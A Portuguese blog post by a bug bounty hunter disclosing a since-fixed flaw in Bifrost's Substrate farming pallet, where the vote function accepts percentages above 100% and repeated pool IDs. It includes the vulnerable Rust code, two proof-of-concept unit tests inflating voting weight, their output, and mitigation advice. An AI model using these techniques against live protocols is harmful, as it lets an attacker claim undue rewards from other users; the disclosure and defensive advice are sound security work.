Este conteúdo tem finalidade educacional e as versões de contratos inteligentes publicadas na blockchain não estão vulneráveis.
Utilizar arrays para receber insumos em contratos inteligentes são soluções muito práticas e versáteis, entre as vantagens, isso pode evitar que os usuários tenham que chamar a mesma função diversas vezes, fazendo todo o trabalho de uma só vez, iterando o array.
O fato é que, para auditores de smart contracts, eles recebem recompensas generosas em programas de recompensas por bugs devido à má implementação nas iterações de array.
Um exemplo real de um relatório feito por mim através de um programa de recompensas por bugs
Num contrato de farming foi implementada uma função de votação, onde o utilizador que está a realizar a votação tem a possibilidade de dividir o seu peso de voto por percentagem em diferentes opções de voto.
Começando a análise do código, o exemplo que trouxe foi construído em rust, mas não será necessário conhecimento profundo da linguagem para entender.
A seguinte função de voto possui duas entradas: origin e vote_list.
#[pallet::call_index(16)]
#[pallet::weight(T::WeightInfo::claim())]
pub fn vote(origin: OriginFor<T>, vote_list: Vec<(PoolId, Percent)>) -> DispatchResult {
let exchanger = ensure_signed(origin)?;
Self::vote_inner(&exchanger, vote_list.clone())?;
Self::deposit_event(Event::Voted { who: exchanger, vote_list });
Ok(())
}
Na primeira linha da função, para fins didáticos, considere que ela equivale ao msg.sender do solidity, basicamente, o endereço que assinou a transação está sendo atribuído à variável exchanger.
Na próxima linha, a função vote_inner está sendo chamada passando o endereço do exchanger e a lista de votos.
pub(crate) fn vote_inner(
who: &AccountIdOf<T>,
vote_list: Vec<(PoolId, Percent)>,
) -> DispatchResult {
let current_block_number = frame_system::Pallet::<T>::block_number();
let mut boost_pool_info = Self::boost_pool_infos();
if let Some(user_boost_info) = Self::user_boost_infos(who) {
// If the user's last voting block height is greater than or equal to the block height
// at the beginning of this round, subtract.
if user_boost_info.last_vote >= boost_pool_info.start_round {
user_boost_info.vote_list.iter().try_for_each(
|(pid, proportion)| -> DispatchResult {
BoostVotingPools::<T>::mutate(pid, |maybe_total_votes| -> DispatchResult {
// Must have been voted.
let total_votes =
maybe_total_votes.as_mut().ok_or(Error::<T>::NobodyVoting)?;
*total_votes = total_votes
.checked_sub(&(*proportion * user_boost_info.vote_amount))
.ok_or(ArithmeticError::Overflow)?;
Ok(())
})
},
)?;
boost_pool_info.total_votes = boost_pool_info
.total_votes
.checked_sub(&user_boost_info.vote_amount)
.ok_or(ArithmeticError::Overflow)?;
}
}
let new_vote_amount = T::VeMinting::balance_of(who, None)?;
vote_list.iter().try_for_each(|(pid, proportion)| -> DispatchResult {
ensure!(Self::boost_whitelist(pid) != None, Error::<T>::NotInWhitelist);
let increace = *proportion * new_vote_amount;
BoostVotingPools::<T>::mutate(pid, |maybe_total_votes| -> DispatchResult {
match maybe_total_votes.as_mut() {
Some(total_votes) =>
*total_votes =
total_votes.checked_add(&increace).ok_or(ArithmeticError::Overflow)?,
None => *maybe_total_votes = Some(increace),
}
Ok(())
})?;
boost_pool_info.total_votes = boost_pool_info
.total_votes
.checked_add(&new_vote_amount)
.ok_or(ArithmeticError::Overflow)?;
Ok(())
})?;
BoostPoolInfos::<T>::set(boost_pool_info);
let vote_list_bound =
BoundedVec::<(PoolId, Percent), T::WhitelistMaximumLimit>::try_from(vote_list)
.map_err(|_| Error::<T>::WhitelistLimitExceeded)?;
let new_user_boost_info = UserBoostInfo {
vote_amount: new_vote_amount,
vote_list: vote_list_bound,
last_vote: current_block_number,
};
UserBoostInfos::<T>::insert(who, new_user_boost_info);
Ok(())
}
Quando as coisas começam a dar errado
Ao iterar pela matriz de votos, o código não valida se a porcentagem total exceder 100%. Portanto, podemos tirar vantagem disso construindo um array que utiliza 100% de peso de voto para pid 1 e 100% de peso de voto para pid 2.
Para reproduzir a situação descrita utilizaremos o seguinte código nos testes unitários:
#[test]
fn exploit_vote() {
ExtBuilder::default().one_hundred_for_alice_n_bob().build().execute_with(|| {
use bifrost_ve_minting::VeMintingInterface;
System::set_block_number(System::block_number() + 20);
assert_ok!(VeMinting::set_config(
RuntimeOrigin::signed(ALICE),
Some(0),
Some(7 * 86400 / 12)
));
System::set_block_number(System::block_number() + 40);
assert_ok!(VeMinting::create_lock_inner(
&CHARLIE,
20_000_000_000,
System::block_number() + 4 * 365 * 86400 / 12
));
assert_ok!(VeMinting::increase_amount(RuntimeOrigin::signed(CHARLIE), 80_000_000_000));
init_no_gauge();
assert_ok!(Farming::create_farming_pool(
RuntimeOrigin::signed(ALICE),
vec![(KSM, Perbill::from_percent(100))],
vec![(KSM, 1000)],
Some((KSM, 1000, vec![(KSM, 900)])), 2, 1, 7, 6, 5));
assert_ok!(Farming::create_farming_pool(
RuntimeOrigin::signed(ALICE),
vec![(KSM, Perbill::from_percent(100))],
vec![(KSM, 1000)],
Some((KSM, 1000, vec![(KSM, 900)])), 2, 1, 7, 6, 5));
assert_ok!(Farming::add_boost_pool_whitelist(RuntimeOrigin::signed(ALICE), vec![(1), (2)]));
assert_ok!(Farming::vote(RuntimeOrigin::signed(CHARLIE), vec![
(1, Percent::from_percent(100)),
(2, Percent::from_percent(100)),
]));
}) }
Saída de execução:
# cargo test exploit_vote -- --nocapture
running 1 test
BoundedVec([(1, 100%), (2, 100%)], 10)
test tests::exploit_vote ... ok
Com o cenário anterior, conseguimos explorar um cenário que a aplicação não deseja, onde pode ser utilizado para ultrapassar o peso de votação, votando 100% em N pools, consequentemente recebendo recompensas indevidas.
Porém, ainda podemos ir mais longe e impactar ainda mais.
E se pudéssemos repetir o mesmo ID do pool no array? Vamos modificar nosso código poc
#[test]
fn exploit_vote() {
ExtBuilder::default().one_hundred_for_alice_n_bob().build().execute_with(|| {
use bifrost_ve_minting::VeMintingInterface;
System::set_block_number(System::block_number() + 20);
assert_ok!(VeMinting::set_config(
RuntimeOrigin::signed(ALICE),
Some(0),
Some(7 * 86400 / 12)
));
System::set_block_number(System::block_number() + 40);
assert_ok!(VeMinting::create_lock_inner(
&CHARLIE,
20_000_000_000,
System::block_number() + 4 * 365 * 86400 / 12
));
assert_ok!(VeMinting::increase_amount(RuntimeOrigin::signed(CHARLIE), 80_000_000_000));
init_no_gauge();
assert_ok!(Farming::create_farming_pool(
RuntimeOrigin::signed(ALICE),
vec![(KSM, Perbill::from_percent(100))],
vec![(KSM, 1000)],
Some((KSM, 1000, vec![(KSM, 900)])), 2, 1, 7, 6, 5));
assert_ok!(Farming::add_boost_pool_whitelist(RuntimeOrigin::signed(ALICE), vec![(1), (2)]));
assert_ok!(Farming::vote(RuntimeOrigin::signed(CHARLIE), vec![
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
(1, Percent::from_percent(100)),
]));
}) }
Saída de execução:
# cargo test exploit_vote -- --nocapture
running 1 test
BoundedVec([(1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%), (1, 100%)], 10)
test tests::exploit_vote ... ok
Wow! Agora impactamos muito mais, pois desta forma nosso poder de voto em um único pool pode chegar a N*100% se repetirmos os ids dos pools, podendo receber muito mais premiações indevidas em um único pool.
As reiterações são sempre sensíveis
Ao implementar arrays como entrada em contratos inteligentes, preste atenção aos seguintes tópicos:
- Para evitar problemas com itens repetidos, realize validação de entrada ou atualize estados a cada iteração.
- Limites mínimos e máximos podem ser úteis dependendo da aplicação, pois podem evitar o luto.
- Valide cada entrada.
- Você não precisa necessariamente reverter a transação devido a uma única iteração com falha.
Aos Bug Hunters, aqui estão minhas dicas:
- Tente usar arrays para contornar limites/validações.
- Às vezes é possível causar griefing, quando o código não valida o valor mínimo para os valores de entrada, essas entradas podem atrapalhar outras funcionalidades.
- Se o código atualiza o estado a cada iteração, analise a possibilidade de aproveitar a mudança em si (ao invés de usar [4], usar [1,1,1,1] pode te dar bons resultados).
- Mantenha a simplicidade, nem todas as falhas de alto impacto são complexas.
Para quem deseja analisar todo o escopo, o código mencionado está disponível aqui.
Esta vulnerabilidade foi relatada à bifrost por meio do programa de bug bounty na immunefi.
Alguns esclarecimentos: o exemplo é do código financeiro bifrost, não são contratos inteligentes e sim paletes pois são feitos em substrato, foram chamados aqui de contratos inteligentes para fins de maior engajamento e podem ser perfeitamente replicados no Solidity ou em outra linguagem/ecossistema .
Latest comments (0)